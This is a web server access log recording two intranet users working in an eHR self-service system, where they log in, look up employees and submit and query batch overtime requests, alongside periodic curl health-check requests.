192.168.11.35 - - [04/Sep/2025:18:14:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22685128535952748 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.22685128535952748" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.35 - - [04/Sep/2025:18:14:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [04/Sep/2025:18:14:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6573105174776965 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6573105174776965 HTTP/1.1" 200 8728
192.168.11.35 - - [04/Sep/2025:18:14:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6573105174776965 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6573105174776965" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6573105174776965 HTTP/1.1" 200 14146
192.168.11.35 - - [04/Sep/2025:18:14:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060
192.168.11.35 - - [04/Sep/2025:18:14:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [04/Sep/2025:18:14:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4716713620921198 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4716713620921198 HTTP/1.1" 200 8728
192.168.11.35 - - [04/Sep/2025:18:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4716713620921198 HTTP/1.1" 200 14146
192.168.11.35 - - [04/Sep/2025:18:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4716713620921198 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4716713620921198" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:14:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.35 - - [04/Sep/2025:18:15:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:15:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [04/Sep/2025:18:15:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [04/Sep/2025:18:15:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166734
100.64.0.1 - - [04/Sep/2025:18:29:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:29:02 +0800] "GET / HTTP/1.1" 200 439
192.168.11.73 - - [04/Sep/2025:18:29:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.73 - - [04/Sep/2025:18:29:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:29:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.73 - - [04/Sep/2025:18:29:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.73 - - [04/Sep/2025:18:30:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.73 - - [04/Sep/2025:18:30:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.73 - - [04/Sep/2025:18:30:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [04/Sep/2025:18:30:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8196815340448333 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8196815340448333 HTTP/1.1" 200 54628
192.168.11.73 - - [04/Sep/2025:18:30:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8196815340448333 HTTP/1.1" 200 56808 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8196815340448333" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8196815340448333 HTTP/1.1" 200 56808
192.168.11.73 - - [04/Sep/2025:18:30:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.11.73 - - [04/Sep/2025:18:30:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.11.73 - - [04/Sep/2025:18:30:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:30:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [04/Sep/2025:18:31:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5519636648359125 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:31:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5519636648359125 HTTP/1.1" 200 54628
192.168.11.73 - - [04/Sep/2025:18:31:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5519636648359125 HTTP/1.1" 200 56801 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5519636648359125" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:31:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5519636648359125 HTTP/1.1" 200 56801
192.168.11.73 - - [04/Sep/2025:18:31:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:31:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.73 - - [04/Sep/2025:18:31:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:31:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [04/Sep/2025:18:31:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:31:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:48:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:48:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:50:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:50:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:18:53:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:18:53:51 +0800] "GET / HTTP/1.1" 200 439
192.168.11.73 - - [04/Sep/2025:18:59:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.73 - - [04/Sep/2025:18:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.73 - - [04/Sep/2025:18:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.73 - - [04/Sep/2025:18:59:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.73 - - [04/Sep/2025:18:59:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.73 - - [04/Sep/2025:18:59:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.11.73 - - [04/Sep/2025:18:59:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 56930 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 56930
192.168.11.73 - - [04/Sep/2025:18:59:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:18:59:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [04/Sep/2025:19:00:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39098915323848304 HTTP/1.1" 200 54628
192.168.11.73 - - [04/Sep/2025:19:00:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39098915323848304 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39098915323848304 HTTP/1.1" 200 56801 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39098915323848304" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39098915323848304 HTTP/1.1" 200 56801
192.168.11.73 - - [04/Sep/2025:19:00:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.11.73 - - [04/Sep/2025:19:00:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.11.73 - - [04/Sep/2025:19:00:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.73 - - [04/Sep/2025:19:00:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4302600966852994 HTTP/1.1" 200 54628
192.168.11.73 - - [04/Sep/2025:19:00:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4302600966852994 HTTP/1.1" 200 54628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:19:00:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:00:44 +0800] "GET / HTTP/1.1" 200 439
192.168.11.73 - - [04/Sep/2025:19:00:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4302600966852994 HTTP/1.1" 200 56801
192.168.11.73 - - [04/Sep/2025:19:00:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4302600966852994 HTTP/1.1" 200 56801 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4302600966852994" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.73 - - [04/Sep/2025:19:00:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
